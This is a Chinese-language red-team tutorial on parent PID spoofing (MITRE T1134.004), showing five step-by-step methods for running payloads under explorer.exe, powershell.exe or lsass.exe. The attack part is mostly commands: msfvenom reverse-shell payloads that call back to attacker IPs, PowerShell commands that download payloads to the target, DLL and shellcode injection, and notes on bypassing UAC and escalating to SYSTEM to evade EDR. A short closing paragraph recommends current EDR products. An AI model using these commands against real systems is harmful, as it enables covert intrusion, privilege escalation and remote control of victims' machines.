紅隊技術-父程序偽裝( MITRE ATT&CK框架:T1134)
概述
父程序偽裝是一種訪問令牌操作技術,通過將惡意檔案的PPID
指定為explorer.exe
等合法程序的PPID
,可幫助攻擊者規避啟發式檢測等防禦技術。
該偽裝可通過使用本地API
呼叫來執行,該呼叫可幫助攻擊者顯式指定PID
,如C++
中的CreateProcess
呼叫。正如我們將在本文中看到的那樣,這種顯式分配也可能具有某些附帶好處。
MITRE 戰術:許可權提升(TA0004)和 防禦規避(TA0005)
MITRE ATT&CK技術:T1134 :Windows訪問令牌模擬竊取以及利用
子技術:T1134.004 :訪問令牌操作: 父 PID 欺騙
背景:
子程序監控是威脅狩獵中最常見的指標之一。應急響應人員可能會分析如果 conhost.exe
cmd.exe
程序是從 Adobe Reader
或 MS Excel
等零相關的應用生成的,則表明可能存在潛在威脅。安全防護軟體會在啟發式檢測下監控此行為,並向管理員發出警報。
父PID(PPID)
欺騙方法可以繞過 AV/EDR
檢測,使其認為是 lsass.exe
這樣的合法程序在進行活動。它通過欺騙程序的 PID
以匹配其父程序的 PID
來做到這一點。這種方法可能帶來的另一個好處是,如果父程序以 SYSTEM
許可權執行,則可以憑藉訪問令牌的繼承,使其子程序也具有相同的 SYSTEM
許可權。
程序、PID和PPID
程序:在 Windows
中,應用程式由一個或多個程序組成。簡單來說,當前正在執行的程式的一部分稱為程序。不同的應用程式可能會使用相同的程序(如cmd.exe
PID
。
PID:代表程序識別符號 (PID
),它是正在執行的程序的數字表示。 Windows
中通過 GetCurrentProcessID()
函式返回指定程序的 PID
。
父程序:父程序是可以派生多個子程序的程序。例如,命令explorer.exe /e,/root,"C:\WINDOWS\System32\cmd.exe"
將派生cmd.exe
作為父程序explorer.exe
的子程序。在程式碼中,父程序可以使用fork()
系統呼叫來派生子程序。
PPID:代表父程序識別符號(PPID
),它是提供給父程序的數字表示形式。任何包含子程序的程序都存在父子關係。
方法一(使用C++程式進行PID欺騙)
Didier Stevens
最初在這裡的帖子中談到了Windows API——"CreateProcess"
這種方法。還發布了一個用C++
編寫的利用程式(SelectMyParent
)。程式碼可以在這裡下載:https://web.archive.org/web/20210225035252/http:/www.didierstevens.com/files/software/SelectMyParent_v0_0_0_1.zip
請注意,如果您使用的是更高版本的Visual Studio,可能需要重新生成此EXE。在Visual Studio2022中,我刪除了Debug and Release資料夾中的SelectMyParent.pdb檔案,並重新生成了專案以使其執行。
在程序管理器中,你會看到 explorer.exe
在 PID 1624
上執行
因此,要在這個父 explorer.exe
程序下執行我們自己的二進位制檔案,可以像這樣使用 SelectMyParent.exe
,你會看到在 PID 1624
下建立了一個新程序。
E:\>SelectMyParent.exe notepad 1624
可以看到在PID 2836
啟動了notepad.exe
同樣,我們也可以執行自己的EXE
。讓我們先用msfvenom
建立一個可以反彈shell
的exe
# msfvenom -p windows/shell_reverse_tcp -f exe LHOST=172.19.218.248 LPORT=7777 > shell.exe
在受感染端,使用tasklist /v
檢視程序執行詳情。
在列表中,可以看到explorer.exe
程序以test
身份在程序ID 1624
上執行。
然後執行生成的shell.exe
,並附屬在explorer.exe
的PID
下
監聽端收到的shell
便是explorer.exe
程序使用者的許可權
如果利用具有system
許可權的程序,即可進行提權。
方法二(使用Powershell DLL注入進行PID欺騙)
F-Secure
實驗室利用 powershell
建立了替代上述Didier
二進位制檔案的方案。它也可以用於父程序欺騙,與上述方法不同之處在於,可以將帶有注入的DLL
的子程序派生為子程序,功能更強大。程式碼可以在這裡下載https://github.com/countercept/ppid-spoofing,首先在受害者機器上檢視程序ID
,這裡我們選擇 Powershell
的 PID 24092
作為父程序ID
。
利用msfvenmon
生成要注入的DLL
msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=172.27.115.207 LPORT=7777 -f dll > shell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 8704 bytes
然後進行注入:
Import-Module .\PPID-Spoof.ps1
PPID-Spoof -ppid 24092 -spawnto "C:\Windows\System32\notepad.exe" -dllpath .\shell.dll
可以看到注入的DLL
在Notepad.exe
中載入執行了。
通過這種方式,PPID 24092
上的powershell.exe
程序派生了一個帶有插入程式碼(由DLL
提供)的notepad.exe
。
方法三(使用Powershell 指令碼入進行PID欺騙)
Decoder-it
根據 Didier Stevens
提供的指南開發了一個 powershell
指令碼,使用了 CreateProcessFromParent()
方法,可以在此處找到的psgetsystem指令碼:https://github.com/decoder-it/psgetsystem.git,可用於通過PID
欺騙派生子程序。首先我們檢視所需程序的 PID
。這裡以lsass.exe
為例
然後執行如下命令:
powershell -ep bypass
Import-Module .\psgetsys.ps1
[MyProcess]::CreateProcessFromParent(520,".\shell.exe","")
如果報錯,可能是UAC
的問題,需要先繞過UAC
,或者是許可權過低,需要提權。
繞過UAC
指令碼可以在這裡找到:https://github.com/samratashok/nishang/tree/master/Escalation
然後下載所需的檔案,然後執行命令
$client=new-object System.Net.WebClient
$client.DownloadFile("http://<url>/psgetsys.ps1",".\psgetsys.ps1")
$client.DownloadFile("http://<url>/shell.exe",".\shell.exe")
Import-Module .\psgetsys.ps1
[MyProcess]::CreateProcessFromParent(520,".\shell.exe","")
可以看到在lsass.exe
下成功建立了子程序,因為lsass.exe
是system
許可權,所以反彈shell
也獲取到了system
許可權。
方法四(使用C#程式進行PID欺騙)
py7hagoras
開發了GetSystem
專案,是上述技術的C#
實現,可以在這裡找到:https://github.com/py7hagoras/GetSystem.git
在目標機上下載GetSystem.exe
,然後執行GetSystem.exe 自定義程式 -O 目標程序名
GetSystem.exe shell.exe -O lsass
注意:這裡可能也需要繞過UAC
或者提權,不然執行不成功。
方法五(通過PID欺騙注入Shellcode)
Chirag Savla
使用 C#
開發了一個名為“ProcessInjection”的出色工具,它可以執行許多功能,包括通過 PID
欺騙進行的程序注入。通過提供有效的 PID
,該工具會嘗試使用 CreateProcess
等原生 API
呼叫來欺騙 PID
,然後將程式碼注入其中。該工具支援 hex
、C
和 base64
格式的shellcode
,也可以選擇 DLL 注入。工具在這裡下載:https://github.com/3xpl01tc0d3r/ProcessInjection
首先,使用msfvenom
建立一個shellcode
程式碼
msfvenom -p windows/x64/shell_reverse_tcp -exitfunc=thread LHOST=172.19.218.248 LPORT=7777 -f hex > /hex.txt
然後在目標機中下載
使用ProcessInjection.exe
進行注入
ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"hex.txt" /parentproc:explorer /f:hex /t:1
引數說明:
/ppath:目標 EXE 的程序路徑(需要注入程序的路徑)
/path:shellcode檔案路徑
/parentproc:父程序名稱,目標EXE應在此程序下生成
/f:shellcode檔案型別
/t:注入技術
支援的五種注入方式:
1) Vanilla Process Injection
2) DLL Injection
3) Process Hollowing
4) APC Queue
5) Dynamic Invoke - Vanilla Process Injection
我們可以看到calc.exe
在explorer.exe
下,而shellcode
則在calc.exe
中執行。
也可以進行DLL
注入
ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"shell.dll" /parentproc:explorer /t:2
其他工具
https://github.com/Mr-Un1k0d3r/RemoteProcessInjection
https://github.com/xpn/getsystem-offline
https://github.com/hlldz/APC-PPID
https://github.com/ewilded/PPID_spoof
https://github.com/christophetd/spoofing-office-macro (VBA實現)
在Metasploit中Meterpreter 可以使用migrate
命令或者後滲透模組post/windows/manage/migrate
也可以實現程序遷移。
總結
攻擊者廣泛使用該技術進行檢測規避,並增加了應急響應人員檢測IoC的時間。針對許多過時的和未打補丁的EDR解決方案,可以使用此技術輕鬆規避檢測。通過本文,告訴大家在組織中應該使用最新的EDR解決方案以及在可以捕捉此類技術的優質產品中使用智慧檢測功能的重要性。
更多靶場實驗練習、網安學習資料,請點選這裡>>